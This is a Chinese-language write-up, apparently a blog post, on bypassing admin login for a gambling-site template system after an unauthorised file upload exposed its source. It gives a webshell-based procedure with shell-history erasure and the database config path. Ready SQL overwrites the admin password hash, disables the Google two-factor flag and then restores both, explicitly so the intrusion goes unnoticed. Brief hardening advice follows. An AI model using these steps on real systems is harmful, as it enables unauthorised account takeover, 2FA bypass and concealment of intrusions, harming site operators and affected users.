记某模版菠菜管理后台登录思路
字数 1143 2025-08-23 18:31:18
菠菜管理后台登录绕过技术分析
前情提要
在测试某菠菜模板系统时,发现存在未授权任意文件上传漏洞,已通过该漏洞获取系统源码。目标是登录后台查看数据,发现该系统存在两种登录方式:
- 仅需账号密码的登录方式
- 需要账号密码+Google验证码的登录方式
无Google验证码的后台登录绕过
密码加密方式分析
通过源码分析发现密码存储格式为:
md5(md5(password明文)@用户名)
例如密码"123456"的加密过程:
- 先计算md5("123456") =
e10adc3949ba59abbe56e057f20f883e - 拼接用户名(假设用户名为admin):
e10adc3949ba59abbe56e057f20f883e@admin - 再次计算md5:
md5("e10adc3949ba59abbe56e057f20f883e@admin") = dd95a7354329cf3c2586446076f4ca3d
数据库连接信息获取
数据库配置位于:
/www/server/webapps/xxxxxxx/webapps/ROOT/WEB/WEB-INF/classes/spring/datasource-master.xml
密码修改步骤
-
使用冰蝎等工具连接数据库(注意操作安全)
- 先执行:
set +o history history -d 1防止命令被记录
- 先执行:
-
管理员密码存储在
gameplat_sc_data数据库的admin表 -
记录原始密码hash(便于后续恢复):
SELECT password FROM gameplat_sc_data.admin WHERE account='admin'; -
更新密码为已知值(如123456):
UPDATE gameplat_sc_data.admin SET password='dd95a7354329cf3c2586446076f4ca3d' WHERE account='admin'; -
使用新密码
123456登录后台 -
查看完毕后恢复原始密码:
UPDATE gameplat_sc_data.admin SET password="原hash值" WHERE account='admin';
带Google验证码的后台登录绕过
验证逻辑分析
通过源码分析发现登录流程:
- 首先查询数据库是否开启Google验证码配置
- 如果
config_value为'1'则开启验证,为'0'则不验证
相关表和字段:
- 表:
gameplat_sc_data.config - 字段:
config_key = 'is_bound_google_auth' - 值:
config_value(1或0)
绕过验证步骤
-
关闭Google验证:
UPDATE gameplat_sc_data.config SET config_value='0' WHERE config_key = 'is_bound_google_auth'; -
然后按照无验证码的方式修改密码并登录
-
查看完毕后恢复验证设置:
UPDATE gameplat_sc_data.config SET config_value='1' WHERE config_key = 'is_bound_google_auth';
安全建议
-
数据库安全:
- 数据库连接信息不应明文存储在配置文件中
- 应使用加密存储或环境变量
-
密码安全:
- 使用更强的加密方式(如bcrypt)
- 加入随机salt防止彩虹表攻击
-
验证机制:
- 关键安全配置不应仅依赖数据库标志位
- 应实现多因素认证的强制验证逻辑
-
操作审计:
- 所有数据库操作应记录日志
- 敏感操作需要二次验证
-
漏洞修复:
- 修复未授权文件上传漏洞
- 对用户输入进行严格过滤
总结
本文详细分析了菠菜管理后台的两种登录方式绕过技术,关键在于:
- 理解密码加密算法
- 定位数据库配置和关键表
- 通过SQL修改关键配置和密码
- 操作后恢复原始设置避免被发现
这种技术可用于渗透测试中的权限提升,同时也揭示了此类系统常见的安全隐患。